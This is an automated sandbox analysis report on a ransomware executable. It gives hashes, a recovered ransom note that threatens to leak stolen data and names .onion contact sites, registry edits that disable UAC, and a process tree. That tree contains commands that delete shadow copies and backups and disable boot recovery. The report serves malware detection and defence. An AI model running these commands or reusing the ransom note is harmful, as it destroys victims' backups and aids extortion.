dec0eb0f0e6657ead1b69b04b8ddc2ba991d35bf6e0ed51ba4cc0fd53e6f2417

Resubmissions

29/12/2023, 12:09

231229-pbfk1sgha8 10

29/12/2023, 12:07

231229-pahnzsgha4 10

Analysis

max time kernel
149s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
29/12/2023, 12:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
Size

510KB
MD5

13ccbab51e6ab57c89ad99f3f676c7f3
SHA1

673fc190f8fb4f7c921de900cedb2f213982c416
SHA256

6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49
SHA512

7c2226b18cdd7a3e6cea078960292c4a8b1c19d39fe692f97ca8b21c90ee25a126c2a8ca65c49e222ce3d691b0e73645a21102fb12a65db1da7a4c6bd1dfba46
SSDEEP

12288:PVQfoJw+q6puobmO/OSST0qU2bwnq7hPVWc4d5pi:PHZh/dSsE0shP

Score

10^/10

evasion ransomware trojan

Malware Config

Extracted

Path

C:\Users\Admin\HOW_TO_RECOVER_FILES.txt

Ransom Note

> WHAT HAPPEND? Important files on your network have been ENCRYPTED and now have the extension .BEAFHHJCJH. To recover your files, you need to follow the instructions below. > SENSITIVE DATA Sensitive data from your network has been DOWNLOADED. If you DON'T WANT to your sensitive data PUBLISHED on our leak blog, you must act quickly. LEAK BLOG: noescapemsqxvizdxyl7f7rmg5cdjwp33pg2wpmiaaibilb4btwzttad.onion Data includes: - Personal data of employees, resume, DL, SSN. - Complete network map, including credentials for local and remote services. - Private financial information including: customer data, accounts, budgets, annual reports, bank statements. - Production documentation, including: datagrams, diagrams, drawings. - And much more... Sample DOWNLOADED FILES are available in your user panel. > CAUTION DO NOT MODIFY ENCRYPTED FILES BY YOURSELF. DO NOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA. YOU MAY DAMAGE YOUR FILES, THIS WILL RESULT IN PERMANENT DATA LOSS. > WHAT SHOULD I DO NEXT? You need to contact us: 1. Download and install TOR browser: https://www.torproject.org/ 2. Go to your user panel: bwjbbpbcihglahwxxusmyy2nxqdc4oqy4rvyhayn4dxhqzji4qi7taid.onion/9aa2579b-2563-4b08-a614-d4f04bdf60a1-uB5wmqiXqjhZ If you have difficulties with authorization in the client panel, you can use the contact form in the "LEAKS BLOG" to contact us

URLs

http://noescapemsqxvizdxyl7f7rmg5cdjwp33pg2wpmiaaibilb4btwzttad.onion

http://bwjbbpbcihglahwxxusmyy2nxqdc4oqy4rvyhayn4dxhqzji4qi7taid.onion/9aa2579b-2563-4b08-a614-d4f04bdf60a1-uB5wmqiXqjhZ

Signatures

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (145) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Executes dropped EXE 1 IoCs

pid	Process
1636	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\M:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\W:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\X:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\Y:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\A:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\B:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\H:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\O:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\R:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\U:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\Z:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\E:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\G:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\J:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\P:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\S:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\T:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\V:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\I:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\K:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\L:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\N:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
File opened (read-only)	\??\Q:	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1824	vssadmin.exe
1680	vssadmin.exe
652	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2676	WMIC.exe
Token: SeSecurityPrivilege	2676	WMIC.exe
Token: SeTakeOwnershipPrivilege	2676	WMIC.exe
Token: SeLoadDriverPrivilege	2676	WMIC.exe
Token: SeSystemProfilePrivilege	2676	WMIC.exe
Token: SeSystemtimePrivilege	2676	WMIC.exe
Token: SeProfSingleProcessPrivilege	2676	WMIC.exe
Token: SeIncBasePriorityPrivilege	2676	WMIC.exe
Token: SeCreatePagefilePrivilege	2676	WMIC.exe
Token: SeBackupPrivilege	2676	WMIC.exe
Token: SeRestorePrivilege	2676	WMIC.exe
Token: SeShutdownPrivilege	2676	WMIC.exe
Token: SeDebugPrivilege	2676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2676	WMIC.exe
Token: SeRemoteShutdownPrivilege	2676	WMIC.exe
Token: SeUndockPrivilege	2676	WMIC.exe
Token: SeManageVolumePrivilege	2676	WMIC.exe
Token: 33	2676	WMIC.exe
Token: 34	2676	WMIC.exe
Token: 35	2676	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2676	WMIC.exe
Token: SeSecurityPrivilege	2676	WMIC.exe
Token: SeTakeOwnershipPrivilege	2676	WMIC.exe
Token: SeLoadDriverPrivilege	2676	WMIC.exe
Token: SeSystemProfilePrivilege	2676	WMIC.exe
Token: SeSystemtimePrivilege	2676	WMIC.exe
Token: SeProfSingleProcessPrivilege	2676	WMIC.exe
Token: SeIncBasePriorityPrivilege	2676	WMIC.exe
Token: SeCreatePagefilePrivilege	2676	WMIC.exe
Token: SeBackupPrivilege	2676	WMIC.exe
Token: SeRestorePrivilege	2676	WMIC.exe
Token: SeShutdownPrivilege	2676	WMIC.exe
Token: SeDebugPrivilege	2676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2676	WMIC.exe
Token: SeRemoteShutdownPrivilege	2676	WMIC.exe
Token: SeUndockPrivilege	2676	WMIC.exe
Token: SeManageVolumePrivilege	2676	WMIC.exe
Token: 33	2676	WMIC.exe
Token: 34	2676	WMIC.exe
Token: 35	2676	WMIC.exe
Token: SeBackupPrivilege	2080	vssvc.exe
Token: SeRestorePrivilege	2080	vssvc.exe
Token: SeAuditPrivilege	2080	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2592	WMIC.exe
Token: SeSecurityPrivilege	2592	WMIC.exe
Token: SeTakeOwnershipPrivilege	2592	WMIC.exe
Token: SeLoadDriverPrivilege	2592	WMIC.exe
Token: SeSystemProfilePrivilege	2592	WMIC.exe
Token: SeSystemtimePrivilege	2592	WMIC.exe
Token: SeProfSingleProcessPrivilege	2592	WMIC.exe
Token: SeIncBasePriorityPrivilege	2592	WMIC.exe
Token: SeCreatePagefilePrivilege	2592	WMIC.exe
Token: SeBackupPrivilege	2592	WMIC.exe
Token: SeRestorePrivilege	2592	WMIC.exe
Token: SeShutdownPrivilege	2592	WMIC.exe
Token: SeDebugPrivilege	2592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2592	WMIC.exe
Token: SeRemoteShutdownPrivilege	2592	WMIC.exe
Token: SeUndockPrivilege	2592	WMIC.exe
Token: SeManageVolumePrivilege	2592	WMIC.exe
Token: 33	2592	WMIC.exe
Token: 34	2592	WMIC.exe
Token: 35	2592	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2592	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 2628	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	29
PID 2520 wrote to memory of 2628	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	29
PID 2520 wrote to memory of 2628	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	29
PID 2520 wrote to memory of 2628	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	29
PID 2628 wrote to memory of 2676	2628	cmd.exe	31
PID 2628 wrote to memory of 2676	2628	cmd.exe	31
PID 2628 wrote to memory of 2676	2628	cmd.exe	31
PID 2628 wrote to memory of 2676	2628	cmd.exe	31
PID 2520 wrote to memory of 2912	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	34
PID 2520 wrote to memory of 2912	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	34
PID 2520 wrote to memory of 2912	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	34
PID 2520 wrote to memory of 2912	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	34
PID 2520 wrote to memory of 2388	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	36
PID 2520 wrote to memory of 2388	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	36
PID 2520 wrote to memory of 2388	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	36
PID 2520 wrote to memory of 2388	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	36
PID 2520 wrote to memory of 2716	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	38
PID 2520 wrote to memory of 2716	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	38
PID 2520 wrote to memory of 2716	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	38
PID 2520 wrote to memory of 2716	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	38
PID 2520 wrote to memory of 552	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	40
PID 2520 wrote to memory of 552	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	40
PID 2520 wrote to memory of 552	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	40
PID 2520 wrote to memory of 552	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	40
PID 2520 wrote to memory of 2264	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	42
PID 2520 wrote to memory of 2264	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	42
PID 2520 wrote to memory of 2264	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	42
PID 2520 wrote to memory of 2264	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	42
PID 2264 wrote to memory of 1824	2264	cmd.exe	44
PID 2264 wrote to memory of 1824	2264	cmd.exe	44
PID 2264 wrote to memory of 1824	2264	cmd.exe	44
PID 2264 wrote to memory of 1824	2264	cmd.exe	44
PID 2520 wrote to memory of 2004	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	45
PID 2520 wrote to memory of 2004	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	45
PID 2520 wrote to memory of 2004	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	45
PID 2520 wrote to memory of 2004	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	45
PID 2520 wrote to memory of 1512	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	47
PID 2520 wrote to memory of 1512	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	47
PID 2520 wrote to memory of 1512	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	47
PID 2520 wrote to memory of 1512	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	47
PID 2520 wrote to memory of 680	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	49
PID 2520 wrote to memory of 680	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	49
PID 2520 wrote to memory of 680	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	49
PID 2520 wrote to memory of 680	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	49
PID 680 wrote to memory of 2592	680	cmd.exe	51
PID 680 wrote to memory of 2592	680	cmd.exe	51
PID 680 wrote to memory of 2592	680	cmd.exe	51
PID 680 wrote to memory of 2592	680	cmd.exe	51
PID 2520 wrote to memory of 2904	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	52
PID 2520 wrote to memory of 2904	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	52
PID 2520 wrote to memory of 2904	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	52
PID 2520 wrote to memory of 2904	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	52
PID 2520 wrote to memory of 2284	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	54
PID 2520 wrote to memory of 2284	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	54
PID 2520 wrote to memory of 2284	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	54
PID 2520 wrote to memory of 2284	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	54
PID 2520 wrote to memory of 2688	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	56
PID 2520 wrote to memory of 2688	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	56
PID 2520 wrote to memory of 2688	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	56
PID 2520 wrote to memory of 2688	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	56
PID 2520 wrote to memory of 780	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	58
PID 2520 wrote to memory of 780	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	58
PID 2520 wrote to memory of 780	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	58
PID 2520 wrote to memory of 780	2520	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
"C:\Users\Admin\AppData\Local\Temp\6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2520
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wmic SHADOWCOPY DELETE /nointeractive
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic SHADOWCOPY DELETE /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2676
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
  2⤵
  PID:2912
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
  2⤵
  PID:2388
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE BACKUP -deleteOldest
  2⤵
  PID:2716
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE BACKUP -keepVersions:0
  2⤵
  PID:552
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c vssadmin Delete Shadows /All /Quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:1824
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2004
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
